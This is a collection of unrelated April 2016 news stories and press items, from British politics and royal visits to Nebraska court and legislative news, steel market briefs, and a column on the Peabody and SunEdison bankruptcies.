Ellen Thomas, RSPCA inspector, said: It is unusual for a cat to be dumped with quite so many treats and goodies with him.

His carrier was brand new, and he had everything a loving owner might need to give him a happy life.

He seemed to have been cared for  it was almost as if someone had left him accidentally when they got on the train.

Anyone with information should call the RSPCA on 0300 123 8018.
P rince George greeted the Obamas in his pyjamas and dressing gown as they visited Kensington Palace.

The young prince was allowed to stay up past his bedtime to meet the President and the First Lady of the United States as they joined the Duke and Duchess of Cambridge and Prince Harry for a private dinner.

Dressed in a white dressing gown, navy slippers and blue gingham pyjamas, the two-year-old shook the President's hand as his parents watched on with delight.

Kensington Palace posted a serious of adorable photographs on Twitter to document the momentous occasion.

Obama has dinner in Kensington

A spokesman for the palace added that George had primarily stayed up to thank the Obamas for a rocking horse given to him as a gift when he was born.

The Obamas arrived at Kensington Palace shortly before 7.30pm on Friday and were greeted in a courtyard by the Duke and Duchess of Cambridge and Prince Harry.

The president shouted: Oh there you are  hello after he and his wife stepped out of the presidential black Cadillac on Friday evening.

William, wearing a blue jacket, trousers and light blue shirt without a tie, apologised about the British weather to the Obamas, who both sheltered from the rain under a single black umbrella as they made their way towards the door.

Warm welcome: The Obamas will enjoy dinner at Kensington Palace / AP Photo/Carolyn Kaster

He joked: Sorry about the weather.

Kate, wearing a teal and maroon dress, shook hands with the president and his wife, who was wearing a long camel coat over a lighter camel dress, before Mr Obama offered her the umbrella.

But the Duchess refused it, leaving the US leader to hold it over both his wife and Kate.

The five chatted briefly and laughing together several times, before moving to pose for photos in front of the waiting media.

Chat: The royals catch up with the Obamas inside Kensington Palace / Dominic Lipinski/PA Wire

As they chatted in the courtyard, William was heard to say: "You've had a long day?"

To which Mr Obama, wearing a black suit and open-necked white shirt, replied: "We've enjoyed it."

The President, his wife and the royals then made their way inside the palace to continue talking in the drawing room before enjoying a private dinner.
S adiq Khan pledged to put a stop to the madness of rising violent crime in London today with a 10-point plan including mapping gangs and rolling out body-worn cameras for police.

Labours candidate proposes tougher community payback schemes for those caught with knives  on top of jail and traditional sentencing  and making hospitals share data on knife wounds in the way they do for gun injuries.

He also supports plans to make it harder for teenagers to buy knives, backing stricter enforcement of laws and calls for a knife licensing scheme such as the one in place in Scotland.

Mr Khan said he wants more safer schools partnerships  where police go into schools to work with teachers to keep children safe  and more intelligence-led use of stop and search.

Borough police commanders would be expected to keep a comprehensive map of gangs, community leaders, potential mentors, informants and youngsters at risk of joining gangs, so that information is retained when officers move on.
S adiq Khan has refused to rule out putting up his share of council tax saying it would put Londons security at risk.

The Labour mayoral hopeful said he would keep the tax as low as I can but could not match Zac Goldsmiths pledge to freeze.

In a lively Evening Standard debate - which covered issues ranging from extremism, to the EU referendum and the housing crisis - he warned that he had to protect City Hall income in case George Osborne launched a raid on policing.

Scotland Yard has already been forced to cut 600 million from its 3.5 billion budget and a cross-party coalition of MPs fought off a further 800 million cuts last autumn.

London Mayoral Race 2016: Highlights from the debate between Zac Goldsmith and Sadiq Khan

Mr Khan, the frontrunner, came under pressure to confirm his plans on council tax after asking recently how a serious candidate could freeze the levy.

After refusing to answer three times, he told the audience: I will keep it as low as I can but I cant promise to freeze it over the next four years. Heres why you cant make a promise to freeze council tax without risking our security. What happens if the Chancellor comes back next year, or the year after?

Mr Goldsmith said he would be able to freeze the precept - about 276 a year for a Band D property - because he had secured a deal with ministers to protect police numbers at 32,000.

I believe we can go further, but Ive not promised things in my manifesto that Im not absolutely certain I can deliver, he said.

The Mayors precept is worth 767 million a year, with 567 million going on the Met, 138 million on the London Fire Brigade and 69 million for services including transport and City Hall itself.

The Tories claimed Mr Khans remarks meant it would double in order to pay for his spending commitments - which they estimate at around 3 billion - but experts questioned their analysis.

Local authorities are currently barred from putting up council tax by more than two per cent without holding a referendum of local people.

Mr Khan has promised to freeze fares which are the Mayors single biggest independent income stream - around 4.6 billion last year.

His Tory rival has only said he would try to bear down on fares - claiming Labours irresponsible plans would result in a 1.9 billion black hole at TfL.

TODO: define component type apester

You can do it, but you cant do it and grow the transport network, for commuters it would be hell, he said.

The extremism row circling over the mayoral campaign threw a shadow over the debate as both men insisted they had done nothing wrong.

Mr Goldsmith, whose campaign was accused by Labour of being divisive and racist for highlighting how often Mr Khan had shared platforms with extremists, said: Ive never led a political campaign that has been anything other than entirely positive.

He added: There are issues that I have raised and that Londoners have raised, that question not Sadiq Khans views, but his judgement.

For somebody who wants to stand as Mayor of London, who is going to have a serious security remit, you cant expect then people not to scrutinise your extensive links with people who mean to do us harm.

Mr Khan has not denied coming into contact with extremists but has always pointed to his past as a human rights lawyer and chair of human rights group Liberty by way of explanation. He insisted he had spent his whole life fighting extremism.

The clear choice at this election is between a united London and a divided London, between a One London approach with a mayor for all Londoners and a Donald Trump approach with a mayor for some Londoners. My message is clear - choose unity over division, choose hope over fear, he said.

He claimed that senior members of the Tory party had told him they were disgusted with Mr Goldsmiths campaign - but refused to give names.

:: The Evening Standard mayoral debate was held with the support of headline partner inmidtown.
G eorge Osbornes uncle today slammed the Treasurys 9 million spending on a booklet on why Britain should remain in the EU.

Former casino boss James Osborne criticised the use of the huge sum of taxpayers cash to send the document to 27 million households around the country.

I dont think it was fair to produce a leaflet costing nine million quid, he told The Standard. That was grossly unfair.

He believes David Cameron rather than his nephew George alone would have made the decision, which has infuriated Brexiters, to spend so much public money on the 14-page pro-EU pamphlet which warned of economic risks including higher food prices.

Mr Osborne, who used to run Aspinalls casino in Curzon Street, Mayfair, was also scathing about claims from the Remain camp that Germany,

Germany, France and other EU countries would put up tariffs which would be deeply damaging to British businesses if the country votes on June 23 to Leave.

Slammed: The Chancellor's uncle James has condemned the 9 million spend / Alan Davidson

The idea that they are going to stop trading with us is just ludicrous, he said. Britain will be better on its own and has been in the past.

James Osborne, 70, accepts there would be a period of two to five years when trade deals would have to be renegotiated after a Brexit.

But he believes older people are not scared by the Prime Ministers argument that quitting the EU would be a step in the dark  as they remember life before Britain joined the European union in the 1970s.

He attacked the colossal bureaucracy of the EU and its huge waste of money. He also condemned the EUs widely-perceived democratic deficit, arguing: Westminster can be ruled by Brussels  by unelected people.

Asked what the Chancellor would think of his comments on the referendum debate, he said: He would say please keep out of politics uncle James. He added: As the Cabinet are allowed to express their opinion, I dont see why I should not. He stressed that he is a great supporter of George.

Mr Osborne senior stood for the Referendum Party in 1997 in Canterbury, where he gained 2,460 votes, and has been out this week campaigning for Zac Goldsmith.

A friend of the Chancellor said: He loves his uncle and loves the fact hes uncontrollable  unlike some, hes been consistently campaigning for leaving the EU for decades.
A lton Towers operator Merlin admitted breach health and safety law over the Smiler rollercoaster crash in June last year that left five people seriously injured.

Merlin Attractions Operations Ltd had previously accepted responsibility for the crash after carrying out its own internal investigation following the incident, which resulted in two women having legs amputated after their carriage collided with a stationary carriage on the same track.

The guilty plea came as the case was being heard at North Staffordshire Justice Centre in Newcastle-under-Lyme today.

District Judge Jack McGarva warned that the company may be ordered to pay a very large fine.

Victoria Balch and Leah Washington had legs amputated and three others suffered life-changing injuries after the crash on the theme parks Smiler ride.

Entering a plea on behalf of the operator, Merlins counsel Simon Antrobus said: Im duly authorised on behalf of the company to enter a guilty plea to the charge.

That will be subject to a basis of plea and will be for discussion and prior agreement with the prosecution in due course.

Sky News

He added: The company is accepting additional reasonable and practicable measures could have been taken to guard against the safety risk that arose on the day.

Sixteen people were injured in the crash on a lower part of the ride  the worlds first 14-loop 50-mph rollercoaster.

Miss Washington, Miss Bach, Daniel Thorpe, Joe Pugh and Chandaben Chauhan were the most seriously injured..

The 500-acre theme park in Staffordshire was shut for four days following the crash. The Smiler reopened in March this year.

Additional reporting by the Press Association
C eramic poppies first unveiled at the Tower of London have been transported 750 miles north to for a new First World War display.

The Weeping Window sculpture, which was seen by an estimated five million people, has been installed at St Magnus Cathedral in Kirkwall, capital of the Orkney Islands.

The art work sees poppies emerging from a small window high on the front of the cathedral and spreading to part of the steps and is available to view until June 12.

Artist Paul Cummins and designer Tom Piper, the pair behind the Blood Swept Lands and Seas of Red at the Tower of London, created the display.

In 2014, 888,246 poppies were arranged at the London landmark to honour every British and colonial death between 1914 and 1918.

An estimated five million people came to the Tower of London to see the Blood Swept Lands and Seas of Red memorial / Reuters

Next month, Orkney will be the focus of commemorative events to mark 100 years since the Battle of Jutland.

More than 6,000 British personnel and 2,500 Germans died in the North Sea naval battle in 1916.

Mr Cummins and Mr Piper visited the cathedral on Friday to witness the public opening of the as the installation.

Mr Piper said: "It's wonderful to see it here, it complements the building very well and I love the way we've been able to get it to sort of cascade down over the steps.

"We've always felt it should be a very fluid, organic structure and the whole point of it is that it's not a fixed thing.

"It still has the feeling of the pouring poppies and the metaphor of them being like blood, and I think it's very apt here with the commemorations coming up and remembering the momentous loss of life at the Battle of Jutland."

Mr Cummins added: "These poppies come from the Tower of London, no new ones have been made so it's a genuine fragment of that original installation.

"Orkney has a long tradition of seafaring and of course with the Navy in both World Wars. A lot of people have been lost to the sea in the military and in day-to-day trawling, each one of these flowers represents a person.

"It's a very simple set up, I didn't want anything to be complicated and it's connecting with people."
P olice may have solved the mystery of why a tiger was found wandering the streets of Houston after severe floods led to its escape.

Conroe police said the big cat was free to roam after a nearby rescue farm was evacuated because of flooding.

Police sergeant Kevin Johnson told CNN the female tiger escaped after its handler apparently gave it to someone in Conroe who was unprepared for the animal.

The tiger was spotted by couple Erin Poole and Jonathan Gessner while they were driving.

Playful: A man said the tiger pounced on him and licked his face when he attempted to catch it / Conroe Police Department/Facebook

Mr Gessner told local media the tiger crouched defensively before it pounced on him and licked his face after he got out of the car to catch it.

He told KTRK: When it started running toward me and it jumped on me and started licking me in the face, I started playing with it and petting it and everything.

On Thursday, the tiger was taken to an animal shelter while police appeal for the owner to get in touch.

A statement on the Conroe Police Departments Facebook page read: Today police received a report of a tiger wandering the area of Coral Cove Pass near Longmire and League Line.

Animal control officers were able to locate and capture the animal. We are asking for assistance in locating the owner.

The female tiger has a collar and a leash.

A man, identified only as Cody, told local news outlet ABC13 that he had some information about the tiger.

He told the broadcaster: Her name is Nala.

She's very nice. She's a 4-5 month old tiger. We dropped her off at a friend's and I don't really know how she got out.

CNN reported the owners have not been identified but could be fined for not having the correct permits.

In Conroe, an order states dangerous animals are not allowed within city limits.
WARSAW, Poland (AP)  A historian in northeastern Poland says the moss-covered ruins of a German World War II bunker may hide Russia's precious Amber Room, a national treasure that went missing during the war.

The 18th-century Amber Room, made of amber panels and gold leaf, was fitted into Russia's Catherine Palace near St. Petersburg, where it remained until it was looted by Germany's Nazis in 1941.

Tests in September by earth-penetrating radar in the woods near the Polish village of Mamerki suggest there's a small room at the base of a bunker that was the German army's wartime headquarters, according to the head of Mamerki Museum, Bartlomiej Plebanczyk.

The bunker is located about 100 kilometers (62 miles) from Russia's Kaliningrad region  which was the German region of Koenigsberg during the war and where the Nazis brought the Amber Room in 1941.

Plebanczyk told TVN24 on Friday that he is "almost certain" that the crumbling concrete bunker hides the Russian treasure. He has informed local Polish authorities in the town of Wegorzewo, who will now decide what to do.

Wegorzewo Deputy Mayor Andrzej Lachowicz told TVN24 authorities will try to see what's in the bunker.

"If not the Amber Room, then maybe some other treasure," Lachowicz said.

The British heavily bombed Koenigsberg in 1944. The current whereabouts of the Amber Room is unknown. In a project that took decades, Russian authorities reconstructed a replica of the Amber Room at the same palace.

According to Plebanczyk, a resident claimed right after the war that he saw German trucks bring heavy cases to the bunker. In the 1960s, residents said they saw a top Nazi, Erich Koch, brought to the site from a Polish prison where he was jailed for wartime crimes. Koch was a top official in Koenigsberg until 1945 and authorities believed he knew the treasure's whereabouts, Plebanczyk told The Associated Press.

Last year, other Polish explorers said they had located another Nazi German treasure: a gold train that reportedly went missing at the end of the war in Walbrzych, in what is now southwestern Poland. Some search work was done but no train has been found so far. The search has attracted thousands of tourists to the region.
Billy Graham Rapid Response Team Chaplains Deployed to Houston Following Deadly Floods

Contact: Erik Ogren, 704-401-2117, eogren@bgea.org CHARLOTTE, N.C., April 21, 2016 / Standard Newswire / -- Massive flooding inundated Texas over the weekend, with news reports indicating that several people died, more than 1,000 homes were flooded, and hundreds required emergency rescue. It is estimated that some 8.8 trillion gallons of water fell on the state in the last few days.In the wake of this disaster, crisis-trained chaplains from the Billy Graham Rapid Response Team have been deployed to assist those who lost homes and loved ones in the historic flooding.Jack Munday, the international director of the Billy Graham Rapid Response Team, said, "Flooding is a difficult tragedy, and it's hard to recover. A homeowner basically has to throw away everything they own. Very little  if anything  can be saved. Please pray for all of those who are hurting so badly right now."Al New, a veteran chaplain with the Billy Graham Rapid Response Team who arrived in the Houston area on Tuesday, said, "Residents are dragging their possessions, carpet and furniture out to the curb right now. It's been raining so much that there's not much else you can do."The Billy Graham Rapid Response Team is deploying in coordination with Samaritan's Purse , the Christian disaster relief organization also headed by Franklin Graham. Together the two ministries will address the physical, emotional and spiritual needs of those who have been affected.In addition to the deployment in Houston, the Billy Graham Rapid Response Team continues to work in the flood-impacted areas around Orange and Deweyville, Texas, as well as in West Monroe, La. The chaplains recently completed their ministry in Bossier City, La. (flooding) and Brussels, Belgium (terrorist attacks).For more information on the ministry, including videos, photos, news articles and an interactive map of former and current deployments, visit www.billygraham.org/rrt . Updates can also be found at www.facebook.com/RRTChaplains About the Billy Graham Rapid Response Team:The Billy Graham Rapid Response Team was developed by Franklin Graham and the Billy Graham Evangelistic Association following the attacks of Sept. 11, 2001. It has since grown into a nationwide network of chaplains in 48 states who are specifically trained to deal with crisis situations. They have deployed to more than 215 disaster sites, including shootings, floods, hurricanes, wildfires and tornadoes.
Nov. 3, 1942  April 20, 2016

Robert Edson Hall passed away on April 20, 2016, at the Samaritan Evergreen Hospice House. He was a beloved husband, stepfather, brother and uncle.

He was born in Greenville, California. He and his wife of 39 years moved from the California bay area in 1995, into a 28-acre property in Lebanon.

He served in the U.S. Army and was a Master Gardner extraordinaire. He was always willing and able to help his friends and neighbors whenever needed.

He retired from computer programming in California and worked in shipping in Albany.

He will be greatly missed by friends and family.

There will be a private celebration of life.

Contributions in his memory may be made to the American Cancer Society.
Panhandle choir students were able to play instruments they enjoy, sing and receive helpful advice on performing during the Nebraska School Activities Association District VI music contest Thursday.

Students from 12 schools around the Panhandle participated as a way to strengthen their music abilities and get practice in preparation for future events. Eight-hundred sixty-seven high school students competed in the contest which has taken place at Western Nebraska Community College for over 20 years

The events consisted of choirs, show choirs and jazz bands, as well as solo, large and small ensembles performances.

Nathaniel Johnson, band director and music instructor at WNCC, said students were able to hear other students from the Panhandle, perform in a setting to get more comfortable with it, and get feedback from judges. Judges marked down the ratings for the performances but also wrote down comments on the forms as time allowed. Judges were able to give out an Outstanding Performance Award and two Honorable Mention Performance awards for solo and small ensemble excellence. Plaques were also awarded to large ensembles earning a superior rating from all three judges.

Johnson was in charge of putting together the master schedule for the contest. He said that it takes six weeks to prepare everything for the event. This was the first time that he has was in charge of organizing everything.

In the past, Ive handled the facilities end of it. But apart from that, meals for the judges and set up the rooms. I didnt have anything to do with scheduling, now Im learning that end of it, said Johnson.

He has had help from secretarial staff and attributed their help to making the event run so smoothly.

Sharon Hoffman, district VI music contest coordinator, hires the judges for the event and has been involved for 28 years. She said the significance of the event was that students are given the chance to perform solos and compete against a set of standards. The students are given a rating based on the set of standards. The ratings are I for a superior performance, II for excellent, III for good or average, IV for below average and V for a poor performance.

The standards vary by event but Hoffman said that the judges will look for musicianship, accuracy and stage presence.

Hoffman said that a lot of the judges are retired music teachers, college or high school teachers.

These are people who I know work well with students, said Hoffman.

One of the judges was Perry Brening, vocal music instructor for Bluffs Middle School.

Its always a privilege to encourage young people when it comes to music. That is basically our job, try to be encouraging, said Brening.

He judged at a similar event one month ago and enjoyed seeing the same faces as well as their progress between then and now. Brening said that he has had a chance to hear almost every student in western Nebraska through district music competitions. Right now he primarily judges vocal events such as show choirs and show choir performances.

Brening used to sing at contests like the one he was judging at and he says he was always nervous. He also brought students when he was a high school music teacher and he was nervous then, but he has always loved the process and seeing students work toward a goal and achieving.

Ryan Fox, Scottsbluff High School senior, was performing in the choir, show choir and a solo performance. He said that he started practicing two weeks before and a couple of rehearsals for the choirs. He said the contest is usually a good day and a lot of good performances take place.

Fox enjoyed music ever since being in elementary school and in middle school he played the trombone and it evolved into a passion.

Frank Ibero, director of bands at Scottsbluff High School, helped coach seven solos and one duet. He said that the best part of the experience at the contest was that the students were able to display their talents as an individual and showcase their personality. Ibero coaches the students after school and one of the things that he will help the students on is to make it more musical and put a little more of their personality into it  he described it as helping them communicate their musical emotion.

They pick the music, they prepare the music, I help coach them but largely its their personality coming in with the music that they choose, said Ibero.

Ibero said that this year high-quality students participated in the district music contest.

It seems like students are taking it more seriously and caring a lot more about the music, he said.
LINCOLN  The Nebraska Supreme Court has ordered a new trial for a man convicted of a 2012 triple homicide in Omaha, saying the trial judge failed to block inadmissible testimony.

Fridays unanimous court opinion gives Timothy Mont Britt a chance to win his release from three life prison sentences. Britt, 28, has always maintained he is innocent of the shooting deaths of a reputed drug dealer and his two teenage sons, said Glenn Shapiro, the Omaha lawyer who represented him at trial and on appeal.

Obviously for Mr. Britt were thrilled, Shapiro said. We think its the right decision.

Douglas County Attorney Don Kleine said this morning he will refile charges and prosecute Britt a second time.

Well follow the guidelines the Supreme Court has given us here, but that doesnt mean there isnt evidence to move forward, he said.

Britt was convicted for what prosecutors say was his role in the July 9, 2012, killings of alleged meth dealer Miguel Avalos, 44, and sons Miguel Avalos Jr., 18, and Jose Avalos, 16, in their home near Ninth and Bancroft Streets.

The high court ruled Douglas County District Judge Kim Pankonin should not have allowed the jury to hear testimony about comments that Britts co-defendant, Anthony Davis, made in the wake of the killings. The statements implicated Britt as having planned and participated in the robbery that resulted in the homicides.

A jury found Britt guilty under the states felony murder rule, which holds accomplices accountable if somebody dies in the commission of a crime such as robbery.

Witnesses, some of them felons, had testified that Davis, Britt and a low-level meth dealer, Greg Logemann, had cooked up the plan to rob Avalos.

Two women who were with Britt and Davis said the two got out of a van down the street from the Avalos home and were gone for several minutes. Davis came back first. Then Britt returned. One of the women said he was breathing hard, wearing gloves and had a handkerchief covering his face.

At sentencing, Pankonin said there was ample evidence that Britt participated in the very heinous murder of the Avalos family.

She noted that Britt had a history, dating back to his teens, of violent acts, including sexual assault of an underage girl, a domestic assault and an assault he committed while in jail.

Britt has maintained while he was initially with Davis in a van, he got out of the vehicle before it arrived at the Avalos home because he wanted nothing to do with it, Shapiro said.
OMAHA, Neb. (AP)  Norfolk Southern's first-quarter profit jumped 25 percent thanks to the railroad's efforts to reduce costs 13 percent as volume slowed.

The Norfolk, Virginia-based railroad said Thursday it earned $387 million, or $1.29 per share, in the quarter. That's up from last year's net income of $310 million, or $1 per share.

Norfolk Southern said it hauled 2 percent fewer carloads during the quarter as coal demand remained weak and coal shipments fell 23 percent. But Norfolk Southern's volume decline was smaller than either CSX or Union Pacific railroads reported this quarter.

Norfolk Southern's results exceed the earnings-per-share estimate of 98 cents that analysts surveyed by FactSet expected.

The railroad's revenue declined 6 percent to $2.42 billion. That was better than the $2.4 billion Wall Street expected, on average.

Norfolk Southern Chairman, President and CEO Jim Squires said the railroad is already benefiting from its effort to cut costs. Railroad officials said in January that Norfolk Southern would cut $130 million in expenses this year on the way to eliminating $650 million in costs by 2020.

Squires said Thursday that he now expects to cut $200 million in expenses this year.

Squires said the quarterly results demonstrate that Norfolk Southern has the right leadership team and plan in place.

Earlier this month, Canadian Pacific dropped its roughly $30 billion offer to acquire Norfolk Southern because the deal was opposed by Norfolk Southern executives, politicians and rail customers along the route and other railroads.

"Norfolk Southern has adapted to a challenging environment," said Squires, who became CEO last June. "We are on the right track and showing tangible results."

Citi Investment Research analyst Christian Wetherbee said it appears Norfolk Southern felt pressure from CP's efforts to buy the railroad and delivered rigorous cost controls in the quarter.

Shares of Norfolk Southern gained $3.62, or 4.4 percent, to sell for $86.25 in after-hours trading.

Norfolk Southern Corp. operates about 20,000 miles of track in 22 states and the District of Columbia.
The end of the 2016 legislative session has come. The last couple days were full of tense debate.

The winner take all bill was debated. Supporters of the bill said allocating all five electoral votes to the statewide winner makes Nebraskas vote count as much as possible. Opponents argued doing such would make Nebraska irrelevant. Opponents say allocating all electoral votes to the statewide winner ignores the minority voice and reduces competition in close presidential elections. By splitting the electoral votes, opponents say Nebraska is put in the national game. LB 10 passed second round debate on a 34-15 vote, but on final reading, with two Senators changing their vote, the bill failed on a 32-17 cloture vote. The winner take all bill has been introduced many times over the past several years, and supporters say it is only a matter of time before they will be successful and Nebraska will return to a winner take all system.

LB 947, a bill that would allow DACA youth granted lawful presence in the United States by President Obama, was passed by the Legislature. These youth were brought to the United States at a very young age, have been educated, and are contributing members of our society. The only home these youth know is the United States. Notwithstanding the concerns about our immigration policies, and past and present failures to secure our borders, DACA youth have been granted temporary status, they are being educated in our schools, and they are all gaining valuable skills. It is important to keep these individuals in our state and not have the valuable skills they possess being used and contributing to the economies in other states. This bill passed final reading on a 33-11 vote.

Gov. Ricketts vetoed the bill, but the Legislature successfully overrode it.

The Governor signed LB 817, the Direct Primary Care Agreement Act, on March 30, with a ceremonial signing on April 12. The bill, introduced by Senator Merv Riepe, passed on a 48-0 vote. I was a co-sponsor of the bill, and was honored to be invited to the ceremonial signing.

Direct Primary Care (DPC) is a contract between a health practitioner and a patient where the patient pays a monthly retainer for primary care services, including unlimited consultations and an annual physical. DPC is an alternative to health insurance, is not subject to state insurance regulations, and a health practitioner will not bill a health insurance carrier for services rendered. Patients who participate in DPC Agreements are encouraged to purchase a catastrophic health coverage plan that meets federal regulations.

DPC Agreements provide patients instant access to their health practitioner through their mobile phone either via a phone call or text messaging. It is intended to build and strengthen the patient-doctor relationship. With a DPC Agreement, a patient who needs the services of their health care practitioner can call or text their symptoms to their doctors, and the doctor is able to diagnose and prescribe medication without an office visit. The goal of the doctors who are a part of DPC Agreements is to prevent health problems and monitor chronic conditions to avoid costly hospitalizations and emergency room visits.

As I look back on this session, it is amazing to think about all the issues that were debated. We had many issues that were controversial that may or may not have gone the way Senators wanted them to go. We had many issues that were not controversial. All in all, the legislative process worked exactly as it should and bills were given full and fair debate. After completing my second session, I continue to realize how important it is to work together and to have compromise, and just how important it is to let the process work, no matter how challenging it may become. I continue to involve myself, learn new things, and take it all in while enjoying my time serving the citizens of District 48. Now that session has come to its end, I look forward to the interim and all the work that lies ahead in preparation for next year.

I have enjoyed and appreciated all the correspondence and telephone calls I have received from my constituents. I encourage you to continue to contact me. Now that the interim is upon me, a majority of my time will be spent in the District. If anyone would like to meet with me, I would encourage you to contact my Lincoln office to set up an appointment. Thank you, citizens of District 48, for allowing me the great opportunity to represent you.
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Friday, 22 April 2016 20:42:38 (GMT+3) | Sao Paulo

Steelmaker ArcelorMittal Brasil was fined by a state environment authority for the pollution of sea, soil and vegetation, after coal was found at a local beach.





According to media reports, the Brazilian steelmaker was fined BRL 540,000 ($150,800) by the Espirito Santo state institute of environment and water resources, Iema, for polluting the sea, soil and the vegetation of the Carapebus area in the greater Vitoria, in the state of Espirito Santo.





ArcelorMittal said the state environment authority notified the steelmaker and that it has removed all the material found at the beach in Carapebus.





According to Iema, pollution stains were found in the sea for about 1.5 kilometers.


Friday, 22 April 2016 22:17:40 (GMT+3) | Sao Paulo

Chilean steelmaker CAP Acero will continue fighting to protect the nations steel industry, a company executive said this week, adding that it would continue requesting the countrys price distortion commission, CNDP, to apply duties on the imports of certain types of steel.





CAP Acero has requested Chile s CNDP to apply safeguarding duties on imports of wire rod . It has also, along with local producer Gerdau, asked the commission to apply a 27.5 percent tariff over the imports of rebar from Deacero.





The Mexican long steel producer responded to CAP Aceros and Gerdaus claims by saying it was suffering restrictive behaviors in terms of competition from the two steelmakers.





Deacero said the arguments used by the two local steelmakers were deceptive and just aim to confuse the commission.





Were convinced CAP Acero can fight the unfair competition arising everywhere  Everything were trying to do is taking the subsidies out, were not looking to establish a barrier, said the groups general manager, Fernando Reitich.








Friday, 22 April 2016 14:10:50 (GMT+3) | Kolkata

Turning down pleas from stainless steel user industries, India s Ministry of Finance is expected to double import duty on stainless steel to 15 percent from 7.5 percent soon, a Ministry of Steel official said on Friday, April 22.

The ministry official said that, in response to local steel mills which had complained against the inflow of high volumes of cheap imports from China, the Ministry of Steel has recommended a doubling of import duty and the Ministry of Finance is expected to issue a formal notification within the next few days.

The official said that the government is also reviewing the option to impose a safeguard duty of around 30 percent on stainless steel. The duty was imposed earlier for 173 categories of steel products apart from stainless steel.

However, at the same time, the Process Plant and Machinery Association of India (PPMAI), representing some of the largest steel user industries in India , has written to the Indian prime minister Narendra Modi, objecting to the imposition of import protection measures for stainless steel, the official said.

The ministry official said that user industries claim that domestic production of stainless steel is not sufficient to meet demand and even some high-value stainless steel is not manufactured within the country.




Italian steel company Marcegaglia and Iranian steel producer Mobarakeh Steel Company have signed a memorandum of understanding (MoU) for supply of around 1.5 million mt of slab and coil from Iran, according to Italian media sources.

Meanwhile, the two companies also signed agreements for various projects. Accordingly, Marcegaglia and Mobarakeh Steel Company will construct a plant for the production of stainless products for sectors such as the oil and gas industry, the chemical industry, and the automotive and construction sectors. The parties will also start studies on a joint venture for distribution of steel products for various markets.
Russian steelmaker Severstal has announced its financial results for the first quarter this year. Accordingly, in the given quarter Severstal registered a net profit of $270 million, declining by 19.6 percent compared to the corresponding quarter of the previous year.

In the first quarter of the current year, Severstal 's sales revenues decreased by 28.3 percent year on year to $1.09 billion, primarily impacted by a substantial decline in average selling prices as well as by a marginal reduction in sales volumes at both the Russian Steel and Resources divisions, while also decreasing by 21.4 percent compared to the previous quarter.
Friday, 22 April 2016 20:45:53 (GMT+3) | Sao Paulo

A source from a major slab producer in Brazil told SteelOrbis that $350/mt, FOB conditions, is the new reference price for export negotiations of the product with basic commercial grades.





The price compares with $340/mt last week and is the new peak of an upward move since $230/mt in December 2015.





The source mentioned that the uptrend reflects links in recent years between prices in the merchant slab market and the prices of the Chinese HRC.





On the supply side, only ThyssenKrupp CSA, Gerdau Acominas and ArcelorMittal Tubarao are exporting slab from Brazil , as Usiminas suspended crude steel production at its Cubatao plant and is actually buying slab from CSA, while CSN assumed a long term marketing strategy of not exporting slab




Friday, 22 April 2016 22:39:12 (GMT+3) | San Diego

The continued uptrend of ex-China billet offer prices to Turkish steelmakers has helped boost activity and prices, within the Turkish import scrap market.





Earlier this week, SteelOrbis reported that ex-China billet offer prices to Turkish steelmakers were heard in the approximate range of $400-$410/mt CFR, which is approximately $50-$55/mt higher than offer prices that were heard two weeks ago, when ex-China billet offer prices were reported at $350-$355/mt CFR.





Not surprisingly, the marked increase in billet offer prices has lent itself to an uptick in US East coast export scrap prices, which exporters predicted earliers this week.





On Monday of this week, a Turkish steelmaker booked an ex- US cargo of HMS I/II 80:20 at $280/mt CFR; this price point reflects a $34/mt CFR increase from levels reported in our last US export scrap report two weeks ago. Sources said prices would rise to $300/mt CFR sooner rather than later, and today, another booking of 15,000 mt of HMS I/II 80:20 was reported at $312.50/mt CFR.





However, some SteelOrbis sources feel that any further upticks in US East coast export scrap prices will continue to hinge on Chinese billet prices.





If Chinese billet producers come back with lower prices, Turkish mills will jump on that, which will of course drive scrap prices down, one source said.





Other sources are a bit more bullish about the latest scrap bookings. Recent export bulk sales are for shipment late June/early July, another source said, which only extends the strength of the market.








Its hard to imagine two energy companies more different than Peabody Energy and SunEdison, but theyve ended up in the same place for some of the same reasons.

Aggressive expansion, too much debt and plummeting energy prices pushed them into Chapter 11 just eight days apart. Both companies must deal with tough issues during the bankruptcy process but, perhaps surprisingly, the old-economy stalwart has the best chance of emerging as a viable business.

That would be Peabody, whose blackout commercials at Busch Stadium used to remind us that coal keeps the lights on. The claim is less true than it once was, what with cheap and plentiful natural gas and increased use of renewable energy, but our utilities will indeed rely on Peabodys product for many years.

Some of the solar and wind power thats making coal less essential is produced in plants built by SunEdison, a Maryland Heights firm that once claimed to be among the next generation of the worlds leading energy companies.

SunEdisons chief executive, Ahmad Chatila, made that boast last summer when he was touting an acquisition. He showed charts comparing his company with such giants as Duke Energy and Exxon Mobil, with the implication that someday SunEdison would be in their league.

A mere nine months later, SunEdisons shares have lost 99 percent of their value and bankruptcy is likely to wipe out the remainder. The proposed acquisition of Vivint Solar, which was never completed, led to an investor revolt that toppled SunEdisons elaborate financial structure.

A poorly timed merger also contributed to Peabodys demise. It took on debt to buy Australian miner Macarthur Coal for $5.2 billion in 2011, thinking it had paid for a steady stream of profits from coal-hungry China.

Instead, Chinas growth slowed and coal prices fell. Peabody, which had weathered plenty of ups and downs in its 133 years, fell prey to the notion that this cycle was unique.

The upstart solar developer and the venerable miner, then, were more alike than different. Both had managements that were chronically optimistic, says Juli Niemann, an analyst at Smith Moore in Clayton. They kept saying things would improve soon, and that was in defiance of common sense.

Peabody, with $10 billion in assets and $11 billion in liabilities, may be the biggest bankruptcy ever filed in St. Louis. SunEdison is even bigger, with assets of $20.7 billion and debts of $16.1 billion, but it filed its case in New York.

The judge overseeing Peabody must sort through contentious issues involving mine cleanup costs and retiree benefits, but at its core the case appears to be a straightforward reorganization. The company should survive if it can get rid of enough debt.

SunEdisons future is less clear. Chatila issued an optimistic statement about reorganizing to focus on our core strengths, but SunEdisons real strength was financial engineering.

Most of its assets are pledged to lenders, and two yieldco subsidiaries will probably be objects of contention. The companies, TerraForm Power and TerraForm Global, are not included in the bankruptcy, but SunEdisons creditors could challenge the way they were spun off in 2014 and 2015.

The TerraForm companies may have claims against SunEdison, too. TerraForm Global already is suing over cash it says was diverted from its projects, and hedge fund manager David Tepper is suing over alleged conflicts of interest at TerraForm Power.

The tangled web will be costly to unwind. Niemann thinks the easiest way to satisfy creditors may be to liquidate SunEdison.

Wouldnt it be ironic if the coal company survives but the renewable energy firm doesnt?

The dying industry proceeds with its gentle spiral into the ground, whereas the industry of the future just blew itself up, Niemann quipped.
